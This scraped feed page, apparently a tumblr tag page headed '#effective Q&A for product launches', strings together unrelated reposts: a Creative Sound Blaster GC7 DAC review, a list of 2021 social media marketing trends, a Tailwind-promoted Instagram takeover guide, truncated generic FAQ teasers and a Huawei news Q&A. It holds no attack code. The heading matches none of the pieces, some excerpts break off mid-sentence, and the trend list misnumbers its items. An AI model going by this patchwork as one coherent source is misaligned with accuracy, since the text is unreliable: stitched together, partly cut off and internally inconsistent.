#effective Q&A for product launches

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Cracking the Code of Frequently Asked Questions: Answers Revealed

Are you tired of searching high and low for answers to the most frequently asked questions? Look no further! In this comprehensive guide, we will delve into the world of cracking the code of frequently asked questions and reveal the answers you’ve been searching for. Whether you’re a business owner, a student, or simply curious about various topics, this article is sure to provide you with…

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Creative SoundBlaster GC7 USB DAC/AMP Review: Gamers, You Need This If You Want to Win

Creative Sound Blaster GC7

8.75 / 10

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See on amazon

You'd be forgiven for forgetting about Creative. But here they are, decades on, still launching new products, and still very much living up to their legendary status.

Specifications

Brand: Creative

Supported Formats: 24-bit / 192 kHz PCM

Connector: USB-C, Line In/Out, Optical In/Out, 3.5mm jack

Pros

Extremely easy to use

Excellent range of audio processors

Looks good, small profile

Lots of input and output options

Cons

Customizable buttons sometimes don't respond

Might not suit professionals

Buy This Product

Creative Sound Blaster GC7 amazon

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As a legendary gaming audio hardware manufacturer, Creative SoundBlaster products always meet certain expectations: quality, precision, and craft.

The Creative SoundBlaster GC7 USB DAC/Amp fits the bill in all areas, and while Creative is pushing the DAC as a tool for gamers, it works well for music, films, and other media. With the GC7 on your desk and the Creative App on your computer, gone are the days of fiddling with applications and figuring out how to change your in-game microphone volume.

With support for PC gamers, PS4/PS5, Xbox Series X|S, Nintendo Switch, and even mobile gaming, the compact GC7 USB DAC/AMP is an excellent option for gamers, streamers, and creatives alike.

The Creative GC7 Is Compact and Looks Like a Miniature Mixer

True to form, the Creative SoundBlaster GC7 is a lightweight DAC/AMP that will fit anywhere on your desktop without taking up space. It is around 170mm wide and 114mm deep, standing just 43mm high—hardly a behemoth of gaming audio equipment.

The GC7 looks a lot like a basic mixer that you might find in the home of a beginner DJ, looking to learn how to mix without spending a fortune. The two main dials control the overall device volume on the left, and on the right, you can switch between game audio and voice volume. The second dial, known as the GameVoice Mix Control Knob, is actually quite a handy way to quickly adjust volume levels while you're in-game.

Instead of having to ALT + Tab to your desktop and adjust Discord manually, you can tinker with the GameVoice Mix Control to find the sweet spot between your friends chatting and your in-game audio.

The four customizable colored quick switch buttons are a nice addition to the mixer vibe, too. Just as if you were cueing up a sound effect or the next track, you can tap the buttons to switch to the next audio mode, open a specific program, play or pause your music, and much more. Using the Creative Desktop App, you can customize the GC7 just how you want it.

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In the middle of the two audio dials is a third knob surrounded by five buttons, providing easy access controls for surround sound, bass, treble, and microphone gain. Furthermore, you can use the SXFI button to toggle between the GC7s integrated audio holography modes—but more on these in a moment. The knob and its button surround house a small digital display indicating your current output levels.

The GC7 Has Lots of Input and Output Options

Owing to its connection options for PC, consoles, and smartphones, you can use the GC7 USB DAC/AMP as your central audio control hub. You can connect up to four different output audio devices to the GC7, which is impressive considering its size.

During testing, I had one set of speakers hooked up via its USB-C port, another set of speakers connected via the line out, and my headphones connected via the 3.5mm jack port at the front of the GC7. With every audio output (bar the optical out, but that is another handy option) filled, you can switch between them using PC/Console/Mobile switch, found at the back of the DAC.

It's a painless process. The GC7 makes managing various audio inputs and outputs simple. However, it won't suit all gamers and streamers, especially those using very specialized recording equipment, as there is no RCA phono or XLR support.

But for a relatively cheap desktop USB DAC/AMP for gamers, the GC7 is a great shout and makes it a tool you'll use for way more than just streaming.

A Plug and Play "Audiophile-Class" Desktop DAC For Gamers and Streamers

Creative touts the GC7 as an "audiophile-class DAC." What they mean is that the GC7 has a very low noise floor of -120dB, which should reduce any interference from your hardware while streaming, listening to music, or otherwise. Furthermore, the GC7 can stream audio at rates up to 24-bit/192kHz, delivering high-resolution audio to supported devices with a maximum dynamic range of 114dB.

Integrated into the GC7 is dual digital signal processors (DSPs), with Creative's UltraDSP chip powering the GC7s audio enhancement suite.

Audio features include:

Crystalizer: Real-time analysis of audio streams, especially music, to control and boost the dynamic range to deliver "a more realistic and impactful audio experience."

Acoustic Engine: The acoustic engine tunes your in-game sound in an attempt to add more depth and realism to the audio you hear.

Super X-Fi: One of Creative's most recent innovations, SFXI creates a custom audio profile using a scan taken via the companion SXFI App (available for iOS and Android).

Smart Volume: The GC7 Smart Volume works to keep your audio output at a consistent level. You'll still hear the big explosions as a big noise, but other sounds will normalize to a standard level. When you're gaming, it can help you detect audio cues that you might otherwise miss.

The GC7 also comes with support for 7.1 virtual surround sound on headphones and speakers, using Dolby Audio decoding to deliver the full surround sound experience. As you might expect, the output here is near flawless and Dolby's virtual surround sound experience is excellent when delivered through the GC7 DAC.

Even with all of the features and audio processing technologies available to the GC7, it's an incredibly simple bit of kit to use. You put it on your desk, plug your audio hardware into the various inputs and outputs, and away you go. The simplicity of a desktop USB DAC of this nature shouldn't be overlooked.

GC7 SFXI Battle Mode Is Excellent for Gamers

Creative has filled the GC7 DAC with gaming features, from Sound Blaster's renowned Scout Mode to quick change buttons that change your audio mode, through to the aforementioned GameVoice Mix Control.

To get the best out of the GC7, you need to spend a little time playing with its gaming options and figure out what works best for you.

The key audio options for gamers come in the form of SXFI Battle Mode and Creative's Scout Mode. Scout Mode has been around for a little while now, but in short, it is an audio mode that highlights specific audio cues and details throughout the game in an attempt to give you the edge over your opponents.

For example, in Battlefield V, you'll hear exactly where your opponent is approaching from, their footsteps delivering that tell-tale sign of an imminent attack, or you'll hear a guard talking nearby, belaying their position before you move into place. It has a limited effect in other types of games, though. In something like Factorio, where environmental audio and positional awareness are unimportant, Scout Mode doesn't deliver the same audio advantage.

SFXI Battle Mode Feels Like Cheating

But while Scout Mode boosts and clarifies ambient noise, Creative's other audio boost straight up feels like cheating, pinpointing enemy gunfire with such precision that you're always at least half a step ahead.

If you're already good at first-person shooters (FPS), SXFI Battle Mode really is a significant advantage. Combined with existing prowess, knowledge of maps, weapon drops, and so on, knowing exactly where your opponent is moments before they appear is everything.

And even if you suck at online FPS games, like me, you can still take some extra solace in getting the drop on your competitors every once in a while. Honestly, it made fast-paced FPS online games a more enjoyable experience for me, a type of environment I typically avoid or attempt to find co-op modes for.

One thing to note is that you cannot use SXFI Battle Mode and Scout Mode simultaneously. Although the GC7 has a dual DSP, Battle Mode and Scout Mode use different and incompatible processing technologies.

The GC7 USB Gives You Gaming Edge, But Is It Worth the Money?

The Creative GC7 is great. It blends high-performance audio output with gaming flourishes, and better yet, it is supremely easy to use. Creative have even made uploading the SXFI head scan profile easier, another plus.

But you should note that the GC7 DAC isn't the evolution of the supremely popular Sound BlasterX G6 DAC. This conversation doesn't involve GC7 vs. G6, because simply put, they're built for different markets. The G6 is an outstanding DAC in its own right and delivers exceptional 32bit/384kHz audio, but you won't find the same attention to gaming as with the GC7.

So, the next big question is cost. How much does the GC7 DAC cost, and is it worth the money?

At $170, you can consider the Creative Sound Blaster GC7 DAC/AMP an excellent purchase.

Still, you'll be hard pushed to find quality like the GC7 elsewhere, not least because of the additional audio processing tools and options the DAC delivers. You can absolutely find cheaper USB desktop DACs. There is no doubting that. But for a sublime audio experience, the edge in your favorite games, and for the general ease of use across multiple devices, look no further than the Creative GC7 DAC.

Creative SoundBlaster GC7 USB DAC/AMP Review: Gamers, You Need This If You Want to Win published first on http://droneseco.tumblr.com/

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9 Social Media Trends Marketers Should Watch in 2021 [Data + Expert Tips]

New Post has been published on http://tiptopreview.com/9-social-media-trends-marketers-should-watch-in-2021-data-expert-tips/

9 Social Media Trends Marketers Should Watch in 2021 [Data + Expert Tips]

As we near the end of 2020, one thing is certain: We’ve spent a lot of time on social media this year.

But, our increased connection to social media isn’t at all shocking.

In March, as countries implemented stay-at-home orders due to the global pandemic, Statista reported a 21% uptick in monthly social media usage.

Throughout the year, consumers have not only continued to use social channels to catch up with loved ones, but they’ve also embraced them for product research, the latest news coverage, and hours of mindless entertainment. 

Now, as the world hits 3.6 billion social media users and continues to deal with the pandemic, brands aren’t just wondering how they’ll engage huge social media audiences next year. They’re also asking, “What social media trends should I expect in this constantly changing landscape?”

To learn more about what brands can expect next year, I spoke with HubSpot’s Social Media Manager Kelly Hendrickson and dug through research including HubSpot and Talkwalker’s Social Media Trends Report.

Below, I’ve compiled nine expert or research-backed trends social media marketers should watch or leverage in 2021.

9 Social Media Trends to Watch in 2021

Brands will continue to take a less is more posting approach.

Content value will beat production quality.

Conversational marketing will change its tone.

Consumers will crave snackable content.

Video will continue to take center stage.

More brands will go live.

Social media platforms could double as shopping channels.

Users will embrace gaming and VR.

Authenticity will be vital.

1. Brands will continue to take a “less is more” posting approach.

This year, many brands spent less time churning out social media posts and more time producing only content that felt thoughtful, valuable, and in-touch with the world around them.

According to Hendrickson, the trend of “less is more” is likely to continue in 2021. 

“COVID-19 had brands starting to ask a question they may have never asked themselves before: ‘Does my audience even want to hear from me right now?’,” Hendrickson says.

“I expect we’ll see brands being more thoughtful about when they post. This may even mean posting less — regardless of algorithms — because it’s the right thing to do,” Hendrickson explains. “There will also be more thoughtful ad buys and partnerships.”

“Never before has ensuring your audience obtains true value from your brand meant so much,” Hendrickson adds.

2. Content value will beat production quality.

When many businesses were forced to go completely remote in 2020, social media and video marketing teams needed develop scalable production processes that could be done from home. 

When consumers still continued to engage with videos, live streams, and other social media content that was clearly made from home offices, marketers realized that content with lower production quality can still be engaging — if it provides value. 

“COVID19 forced many brands to get scrappy when it came to producing content, especially video work,” Hendrickson explains. “Without a production studio or tons of equipment available, production value became a bit more lo-fi and in the end, but also a bit more human.”

“The exciting thing for brands is that — generally — audiences loved it. If anything, they saw themselves more in the work,” Hendrickson adds. “They too were on Zoom, filming things with their phones, or stuck in their homes.”

Hendricks predicts that “we’ll see bare bones productions in 2021. But, audiences will continue to appreciate it.”

3. Conversational marketing will change its tone.

Conversational marketing isn’t new. In fact, most of the big brands we know and love allow you to connect with them via social media messaging channels at any time. 

But, in 2021, with more messaging channels than ever — and consumers needing more information to make a worthy investment —  the tone of digital conversations might change. 

For example, while past conversational marketing tactics centered around promotions and making sales as quickly as possible, 2021’s conversational marketers might be more focused on helping a user with something, educating them about a product, and nurturing them to conversion with a more thoughtful or empathic tone.

“Brands need to be more human on social media, inviting the world to your dinner table for a meaningful and engaging conversation,” says Aaron Kaufman, Director of Social Media at Square Enix in our Social Media Trends Report. “You are your fan’s greatest fans and need to embody that no matter what social media channel you live on. Emote, respond, recognize, relate, be engaging. We’re not robots.

So, how will brands deal with more demand for thoughtful conversational marketing? A mix of AI tools and human interaction could help. 

A healthy combination of AI and human interaction could enable brands to run efficiently on social media while still giving consumers the authenticity they need to see to trust a brand and make a purchase. For example, a bot could handle quick message queries, while sales, service, or community management reps could respond to more complex questions and concerns. 

To learn more about scaling up your conversational marketing strategy, check out this guide to building a chatbot or learn how HubSpot increased qualified leads with by mixing human and bots in our conversational marketing.

4. Consumers will crave snackable content.

In 2020, we saw the rise of TikTok and Instagram Reels, continued engagement on Stories content from Facebook, Instagram, and Snapchat, and brands creating other short-form or “snackable” pieces content to educate consumers about their brand. 

As social media attention spans continue to shrink and more people scroll endlessly through feeds while bored at home, don’t expect snackable content to lose steam anytime soon. 

To learn more about four types of snackable content your brand should leverage next year, check out this helpful post. 

4. Video will continue to take center stage. 

Early in 2020, HubSpot’s Not Another State of Marketing Report found that video was the most commonly used marketing content — and the second most engaging content type on social media. 

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As major platforms, like Facebook, Instagram, TikTok, Twitter, and LinkedIn increasingly amp up their video capabilities, marketers can expect high video consumption to continue and grow in coming years. 

5. More brands will go live.

In 2019, one in five Facebook videos were live. In May of that year, YouTube users cumulatively spent 284 hours watching live video.

In 2020, as many brands were forced to take conferences, events, and other marketing experiences online, it’s not shocking to think that 2020 live stream numbers could be higher. 

At the moment, many brands are using Facebook, Instagram, Twitch, and Twitter to live stream events, Q&As, tutorials and other types of content. These types of content keep your followers engaged with your brand by bringing an event they otherwise might not be able to attend directly to their screens.

For example, each year, INBOUND interviews some of its noteworthy speakers and guests in live INBOUND Studio episodes on Facebook. This allows followers who can’t join us to get live tips from experts. It also allows followers of interviewed experts to learn more about INBOUND and HubSpot.

To learn more about going live online, check out this guide to live streaming, as well as these tips for marketing your next virtual event. 

6. Social media platforms could double as shopping channels.

As many brands learned how to do business completely online, platforms like Facebook, Instagram, Twitter, Snapchat, and TikTok raced to develop more online business marketing solutions.

While TikTok and Snapchat expanded business marketing offerings in 2020, Facebook and Instagram actually brought shopping capabilities directly to their apps. 

With Facebook Shops, Instagram Shoppable posts, consumers can buy a product seen in a post without even leaving the app they’re on.

For consumers, this adds convenience. For brands that couldn’t build their own ecommerce store, the online shopping tools noted above are providing new opportunities to effectively sell products online. 

8. Social media users will embrace gaming and VR.

In the last year, the number of social media users who identify as “gamers” increased by more than 10 million — or 32%. Our Social Media Trends Report reveals that the highest uptick in gamer identification happened in COVID-19’s heaviest lockdown months.

Now, with Facebook’s company, Oculus, launching new VR products, Twitch continuing to expand online game-streaming capabilities, and platforms like Snapchat launching mini-game apps, it’s clear that gamification and social media will continue to go hand in hand in 2021. 

As a small to medium-business marketer, gaming-related promotions might be inaccessible now, but with Facebook and other major platforms continuing to launch brand tools around their newest features — it’s not shocking to think that more social media in-game advertising opportunities could be possible in the future. 

Brands should keep an eye out for game-related promotions in 2021.

Even if advertorial game content becomes available to big brands but not smaller companies, marketers can still watch what bigger companies are doing and hit the ground running with fresh ideas if gamified promotion become more scalable.

9. Authenticity will be vital.

This year, consumers and brands faced a global pandemic, uncertain financial times, and a number of major events that paused nations in front of news channels.

Now, consumers need more than just great deals to trust, identify with, and invest in a brand. At this point, many brands have taken notice by embracing authenticity and their human side on social media.

While some brands have spoken directly about their thoughts related to COVID-19 or other news items, others have shown authenticity by zoning on their customers through user-generated content or customer testimonials. 

When done authentically, both strategies can help brands gain trust from their audiences while boosting awareness as a company that cares about people.

“We will continue to see the growth in creators in the social media space. Influencers will continue to be present, but accountability, authenticity, and transparency will be the areas brands and companies will use to determine who to partner with, and who to pass on,” says Karen Freberg in our Social Media Trends Report. “Empathy and advocacy will be elements that will be integrated within messages and purposes for creator campaigns. The days of ‘faking it till you make it’ without any experience other than having lots of followers are over.”

In 2021, expect authenticity to take center stage on social media as successful brands continue to build trust from their audiences.

Navigating Social Media in 2021

Today, the world around us is constantly changing. And, although we think we know what to expect with social media, this list of trends is likely not exhaustive of what we’ll see in 2021.

As a social media marketer, the best thing you can do is to continue to research trends, online consumer behaviors, and your team’s social media data to determine which trends or strategies to lean into or how to navigate unprecedented online scenarios. 

One great place to start doing this research could be our HubSpot and Talkwalker’s recent Social Media Trends Report.

Along with insights and quotes from social media experts, our Social Media Trends Report walks through all the major 2021 trend predictions to know about and data on how COVID-19 could impact social media marketing. to see the free report, click here or the banner below.

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How to Do an Instagram Takeover Successfully in 6 Steps

Instagram takeovers are a powerful way to accomplish several Instagram marketing objectives, such as increasing brand awareness, gaining access to new audiences, and boosting engagement on your platform!

The best part is you don’t even have to do the heavy lifting of creating the content.

That’s because with an Instagram takeover, you’ll bring on a guest host to create specific content for your Instagram account and (sometimes) manage engagement for the day.

Hitting marketing goals while kicking back and letting someone else manage your content for the day? Sounds like a vacation to us! 🏖

However, there’s a lot of behind-the-scenes work that goes into organizing and running a successful Instagram takeover.

Let’s dive into the process, and we’ll give you some tips on how to host an Instagram takeover successfully!

We’ve also included some amazing insight from Jeff Sieh of Manly Pinterest Tips.

He’s also the Instagram Manager for Social Media Examiner, and the three-day annual conference Social Media Marketing World.

Jeff runs multiple Instagram takeovers throughout the year to promote and feature marketing influencers speaking at the conference.

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Yay! @jeffsieh talking visual marketing tips, tricks, and hacks. #smmw18 #visualmarketing #pinterestmarketing

A post shared by Alisa Meredith Pinterest Pro (@alisammeredith) on Mar 2, 2018 at 2:41pm PST

Want to grow your Instagram followers faster? Get this free checklist for 16 quick, easy wins you can immediately use to build an audience.

Contents: How to Do an Instagram Takeover That Boosts Engagement hide

Why Are Instagram Takeovers So Effective?

How Your Guest Host Can Contribute To Your Instagram Account

How To Do an Instagram Takeover From Start to Finish in 6 Steps

Successful Instagram Takeover Examples

Instagram Story Takeover Example #3: @modernism_week

Final Thoughts: Ready to Launch Your Instagram Takeover?

Why Are Instagram Takeovers So Effective?

A successful Instagram takeover benefits everyone involved. Your guest gets access to a new audience, and you get access to your guest’s followers!

Why is this an effective strategy for Social Media Examiner? According to Jeff, the access to a new audience is a huge driver.

“We are able to share the speaker’s audiences. Most all of the speakers share the news on their personal account.

That puts our message and branding in front of people who may not have heard about the conference.”

Jeff Sieh

Plus, your followers get value from your guests’ unique perspective and the content they create for the takeover. This amps up their engagement with your brand!

How Your Guest Host Can Contribute To Your Instagram Account

You might be wondering about the kind of content your guest host can create for your Instagram takeover.

Your guest host can take over your IG account with posts, interviews, tutorials, Q&A sessions on Instagram Live, and behind-the-scenes-access on Instagram Stories.

How To Do an Instagram Takeover From Start to Finish in 6 Steps

The success of your Instagram takeover really comes down to the amount of planning you do beforehand.

This doesn’t just mean scheduling the takeover, coordinating with your guest, and picking the right hashtags.

It also means deciding on your goals, plotting metrics, and creating a content plan.

Here’s how you do it, step by step!

Step One: Decide on the Goals of Your Instagram Takeover

Although Instagram takeovers can be fun and interactive for your audience, ideally there are some goals behind your choice.

Decide on at least one specific goal for the takeover. This could be:

boosting brand awareness,

promoting an event, product, or service,

or simply getting your existing audience to engage more with your content.

The goals you choose for the takeover will help inform your choice for a guest.

That’s the next step – choosing the right person to help enhance your Instagram marketing strategy and meet your social media goals!

Step Two: Choose Your Instagram Takeover Guest

When you think of your dream guest host for your Instagram Story takeover, do you visualize an industry influencer or celebrity?

Although fame and a high follower count may seem like the first thing you should look for, this isn’t necessarily the case.

Instead, you should carefully choose a collaborator who is in line with your brand image and values and can add value for your audience.

Here are some options to consider:

Step Three: Plan Your Content Approach with Your Guest

In this step, you answer the key questions about content with your guest before the actual day of your Instagram takeover: what, how much, and how often!

Knock this out beforehand so that plenty of prep goes into the content before the big day.

Waiting until the last minute could mean that you or your guest misses posting at peak times when your audience is most engaged.

It also makes room for error!

First decide what kind of content it makes sense for your guest to create. It should be on-brand for both of you!

You wouldn’t choose an insurance expert to run an Instagram Story takeover if you run a wedding photography business, right?

Your chosen guest host should know a lot about your niche and be able to speak to your audience on topics that interest them.

Next, you’ll create a schedule for you and your guest to follow.

This will keep the process streamlined, flowing and allow your guest to maximize their time engaging in comments and video.

Pssst.. Not sure when your audience engagement and attention is at its peak? Tailwind can help!

Our Smart Schedule analyzes the times your followers are on Instagram and most likely to be engaged with your content. Then we make a custom schedule just for you. 🎉

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Every month Beautiful Bizarre Magazine chooses one of our favourite artists to TAKE OVER social media for the day. In 2019, we have decided to extend this event to all types of artists and art lovers to add culture and couture to our artistic conversation. For May, we chose @emmaroberts and @kpreiss , the co-founders of literary community Belletrist to share with us the artists who have inspired them. ⁣ We are so happy to share with you Belletrist’s TAKE OVER.⁣ Over to you Emma and Karah !⁣ .⁣ Hi there, we’re Emma Roberts and Karah Preiss from Belletrist, an online reading community celebrating all things literary ! Belletrist chooses a book every month to read and discuss. You can follow along @belletrist on Instagram and sign up for the newsletter at www.belletrist.com to join our celebration of books, authors and, of course, readers…⁣ .⁣ .⁣ .⁣ #beautifulbizarre #artmagazine #belletrist #emmaroberts⁣ #karahpreiss #literature #books #reading #readers #writers #photography #art⁣ #takeovermonday

A post shared by beautifulbizarremagazine (@beautifulbizarremagazine) on May 5, 2019 at 1:30pm PDT

Insider Tip: Figure Out Your Access Plan

You’ll definitely want to decide ahead of time how much access you want to give your guest host.

Why? When you share your password over the world wide web there’s always a chance your profile could be compromised.

If you want your guest host to have full access to your profile (this means giving your password to them before the event) then consider doing the following:

Create a temporary password for your guest to use a few days before the event

Change the password immediately after the takeover is complete

If you prefer, you can have your guest host send the content, posts, and videos ahead of time for you to post on their behalf.

That’s what Jeff Sieh does!

“The speakers send us their Stories that they have filmed and downloaded.  The tell us the specific order as well as any stickers, hashtags, or links that they would like to include in their Stories.”

Jeff Sieh

You can collect content pieces and videos any way you like from your guest hosts.

Some of the most popular options for Social Media Marketing World are Dropbox, Google Drive, and even Facebook Messenger!

View this post on Instagram

Hi crafty friends! Dani from @popfizzpaper here today with a gorgeous frame card tutorial. It’s perfect for your mom this Mother’s Day! You might’ve guessed that this card also works as a DIY photo frame that can be left out all year long. Swipe to see a close-up detail of what you’ll be creating today. You’ll need a butterfly punch (a die or cut file will work too), @tombowusa MONO Multi XL Liquid Glue, Tombow Foam Tape, and a Tombow Fudenosuke Brush Pen. You’ll also need scrapbook paper in a variety of coordinating patterns (even scraps will work well) and a card base (mine folded is 4.5”x 5.5”)! To get started on the card, create all of your butterflies! Use a butterfly punch (a die or cut file will work too) to create a bunch of butterflies with the different papers. Get a good little stash going and I’ll be back soon with the next step! #tombow #tombowusa #tombow2019dt #pfplovestombow . . . #craft #create #adhesives #crafty #artsandcrafts #crafting #crafts #handcraft #crafters #creativity #diy #imadethis #makersgonnamake #papercrafts #papercraft #papercrafting #crafter #handcrafted #mompreneur #craftime #papercraftingaddict

A post shared by Tombow USA (@tombowusa) on May 7, 2019 at 5:24am PDT

Keep in mind that this is pretty labor-intensive for you, and your influencer may feel more limited by this option.

Plus, your host won’t be able to go live or respond to comments from your profile when you use this method – though they can certainly comment from their own accounts.

That may even be a better option as people see that this is a genuine partnership!

Step Four: Schedule Your Instagram Takeover and Promote Like Crazy

Now it’s time to schedule and promote your takeover!

You want lots of your followers to tune in and interact with your successful Instagram takeover, right?

Promotion leading up to the event also clues your followers in to keep an eye out for special posts throughout the day.

At least one week prior to the event, promote the takeover on your Instagram account and other social media.

Encourage your guest to do the same!

Maybe it’s the alliteration, or maybe it’s all of the Instagram takeover hashtags that already exist! #TakeoverTuesday

Step Five: Time For The Big Instagram Takeover

It’s the big day! Prepping for the day of the takeover may be a little or a lot of work depending on the plans you’ve made.

If you’ve decided on a limited access Instagram takeover, you’ll need to gather the content pieces and post them at the planned time.

Schedule those images and videos, but don’t forget important puzzle pieces like captions and hashtags!

Ahem… stressed about organizing your guest hosts’ content, posting at the right time and picking the right hashtags?

Tailwind can help! Upload a draft of your post, then use Hashtag Finder to find the best hashtags for your content. You can even click a button to hide your hashtags in the first comment – it’s super easy!

Try it out with a free trial of Tailwind for Instagram! #TailwindTakesOnTakeovers

Even if you’ve given your guest host complete access to your IG account, you’ll want to stick around on your personal account for a few reasons.

One, you can make sure that things go off without a hitch and your guest is able to get content up on-time with no issues!

Secondly, you’ll want to kick off interactions on posts, videos and Live to break the ice and get the conversation going.

Step Six: Check Out Your Metrics

After your Instagram takeover, it could be tempting to rest on your laurels and call it a job well done.

However, you should take a moment to check your metrics after the takeover. This will help you figure out if you need to adjust your approach next time.

The goals you chose in step one inform the metrics that determine the takeovers ultimate success.

For example, if your goal for the Instagram takeover was to reach a wider audience, then you should consider new followers gained from the start of the takeover to the end (or a few days after for followers to play catch up).

Tailwind’s Profile Performance Dashboard is a great resource for tracking this!

You can measure your daily follower growth in an easy-to-read graph and see exactly how many followers you gained… as well as any you lost. 🙁

If you geared your IG takeover more towards driving interaction and engagement, then likes and comments are a great indicator of how well the event accomplished this goal.

Rather than hand counting comments and heading to the post on your app to see likes (snore! 😴) use Tailwind’s Post Inspector to sort recent posts by date, likes and comments!

You can even filter by type to get a better idea of how one piece of content performs versus another.

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“We frequently look at the impressions of each content piece, as well as exit rates, next story rates and how often someone goes back to watch the story again to see how well a particular Story performs.”

Jeff Sieh

Successful Instagram Takeover Examples

Want to see an Instagram takeover in action? Check out some of the examples below for inspiration!

Instagram Takeover Example #1: @belletrist

If you’re trying to figure out how to do an Instagram takeover, head on over to Belletrist‘s feed!

Belletrist frequently hosts an IG takeover session called Stacked.

Featured guests and authors like Phoebe Robinson show followers their bookshelves at home.

They also and talk about the who’s, hows and whys of their personal book curation!

Super cool, right?

View this post on Instagram

@dopequeenpheebs is sharing her #belletriststacked today on our insta story! ✨ #belletristbabe make sure you check out her new book #everythingstrashbutitsokay

A post shared by Belletrist (@belletrist) on Nov 14, 2018 at 11:33am PST

Instagram Takeover Example #2: @mayeshwholesale

Veteran wholesale florist @mayeshfloral recently hosted an amazing takeover with the floral designers at @rosesandmint to take their followers behind the scenes of a styled shoot!

Followers watched the vision come to life in real time with behind-the-scenes footage of installations, shooting, and the finished photos!

Nab this Instagram story takeover idea for your next collaboration or project. Your followers will love seeing a vision come to life throughout the day, and will have the chance to ask questions!

Instagram Story Takeover Example #3: @modernism_week

View this post on Instagram

The #PSModSquad will be sharing highlights from the last weekend of @modernism_week! We kicked off the day with a delicious breakfast at @saguarohotels 🌵 Follow along as they share a behind-the-scenes look at all the #modernismweek fun this weekend! . @meganmckean + @joshuamckean @lonnymag / @ashleyropati @tastemadehome / @tastemadetravel / @casey_gerber @tastemade / @sarahbromont @thismintymoment @archpaper / @everyverything . 📷: Cover image by @ashleyropati

A post shared by Modernism Week (@modernism_week) on Feb 22, 2020 at 4:21pm PST

Did you know you can crowdsource your Instagram Story takeover?

@modernism_week gives the perfect example! Twice a year, this account arranges a celebration of mid-century architecture and design.

In this example, the #PSModSquad takes over the account for the weekend.

Over twelve contributors share home tours, photos and commentary on some of Palm Springs finest examples of mid-century modern design.

If your account is themed after one specific topic, this might be the Instagram story takeover for you!

Collecting feed posts and stories from multiple content creators is a great way to celebrate a particular theme or topic.

You get the benefit of multiple perspectives for the price of one, all united around a common interest your followers share.

Final Thoughts: Ready to Launch Your Instagram Takeover?

By now, you’re feeling ready to take over the world… or at least run an amazing Instagram takeover!

Running an Instagram takeover is a powerful way to meet your social media marketing strategy goals. Whether your goal is to connect with industry influencers to find new potential followers or boost engagement with the followers you already have, Instagram takeovers are a fun, fresh strategy to keep in your toolbox.

Make sure to measure your growth and engagement through Tailwind’s Instagram Analytics and Reporting dashboard. This will give you valuable insight into how your existing audience interacted with your takeover content as well as what worked and what didn’t work.

All of these details will help make your next takeover even more amazing!

Pin it for later: 📌

https://growinsta.xyz/how-to-do-an-instagram-takeover-successfully-in-6-steps/

[happyholi2019]

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[champstorymedia]

Everything You Need to Know About Common Q&A Questions

Introduction: When it comes to seeking information and finding solutions, asking questions is a crucial part of the process. In this article, we will dive deep into the world of common Q&A questions, exploring why they are important, how to ask effective questions, and tips on finding the answers you are looking for. Why Are Q&A Questions Important? Asking questions is the key to gaining…

[toldnews-blog]

New Post has been published on https://toldnews.com/technology/qampa-what-is-huawei-and-why-does-washington-worry-about-it/

Q&A: What is Huawei and why does Washington worry about it?

Huawei is China‘s first global tech brand and a growing source of tension between Washington and Beijing.

Huawei Technologies Ltd. is the biggest supplier of network switching gear used by phone and internet companies. It has spent a decade battling U.S. accusations it is a front for Chinese spying or poses other security risks.

Other governments including Australia and Japan are imposing their own curbs on use of Huawei technology.

A look at Huawei and controversies surrounding the company:

Q: What is Huawei?

A: The company founded in 1987 by a former military engineer is a national champion at the head of an industry Beijing is promoting as part of efforts to transform China from a low-wage factory into a technology creator.

That makes Huawei a political star in China but puts it at the center of tensions over the Communist Party’s technology ambitions. Washington and other trading partners say those violate its market-opening obligations and might be based on stolen know-how.

Huawei passed Sweden’s LM Ericsson in 2017 to become the No. 1 global seller of network gear. The company says it supplies 45 of the top 50 global phone companies and has signed contracts with 30 carriers to test its next-generation technology.

Its smartphone brand, launched in 2010, passed Apple Inc. in mid-2018 as the world’s No. 2 seller behind Samsung Electronics Ltd. And it has kept growing despite weakness in the global smartphone market. Apple’s Jan. 3 announcement of weaker-than-forecast iPhone sales jolted financial markets, but Huawei said its 2018 sales rose 30 percent to more than 200 million handsets.

The company says 2018 global revenue should exceed $100 billion. This year’s target is $125 billion.

Headquartered on a leafy campus in Shenzhen, adjacent to Hong Kong, Huawei has China’s biggest corporate research-and-development budget at 89.7 billion yuan ($13 billion) in 2017 — 10 percent more than Apple Inc.’s. Its foreign customers can draw on a multibillion-dollar line of credit from the official China Development Bank.

Huawei is more important to Chinese leaders than ZTE Corp., a smaller rival that was nearly driven out of business after Washington blocked it from buying U.S. technology over exports to Iran and North Korea. President Donald Trump restored access after ZTE paid a $1 billion fine, replaced its executives and hired U.S.-picked compliance officers.

———

Q: What are the controversies surrounding Huawei?

A: U.S. warnings about Huawei drew attention when a 2012 congressional report said American phone carriers should avoid doing business with the company and with ZTE. Washington gave no evidence but Huawei’s U.S. business vanished.

The same year, the Australian government barred Huawei and ZTE from bidding on a planned national broadband internet network. On Tuesday, a telecom company that was planning to build Australia’s fourth mobile phone network said it would scrap those plans due to a government ban on using technology from Huawei, its main contractor.

Japan’s cybersecurity agency said last month Huawei and suppliers deemed risky are off-limits for government purchases, effective April 1.

U.S. charges unsealed Monday accuse Huawei of violating American sanctions by using a Hong Kong shell company to sell equipment in Iran. The company is also accused of stealing trade secrets, including technology for a robot used by T-Mobile to test smartphones.

The company announced plans in 2017 to start selling smartphones for the first time through a U.S. carrier. Those plans were later canceled, reportedly because of U.S. government pressure on the American partner.

Huawei’s chief financial officer, Meng Wanzhou, who is Ren’s daughter, was arrested Dec. 1 in Canada on U.S. charges that she lied to banks about Huawei’s dealings with Iran.

A European Union official, Andrus Ansip, expressed concern last year about Chinese rules requiring tech companies to cooperate with intelligence services. Ansip suggested that might lead to “mandatory backdoors” to allow eavesdropping on computer or telecom systems.

China’s foreign ministry has complained the security accusations are unfounded and are being promoted by other governments to shield their own companies from Chinese competition.

———

Q: How is the company responding?

A: The company denies accusations it is controlled by China’s ruling Communist Party, modifies its products to facilitate spying or helps Chinese spies gather information.

Huawei, which is privately held and says it is employee-owned, has stepped up efforts to defuse security concerns since Meng’s arrest.

Ren rarely appears in public. But he spoke to foreign reporters in a 2½-hour-long interview on Jan. 15 at Huawei headquarters. He sought to lay to rest accusations Huawei might help Beijing spy on its customers by saying he would reject any government request to disclose their secrets.

One of three executives who take turns as Huawei’s rotating chairman, Ken Hu, gave a similar interview in December in which he challenged the United States and other governments to disclose evidence to back up accusations about security risks. Huawei also has allowed foreign reporters and photographers to visit some of its research centers for the first time.

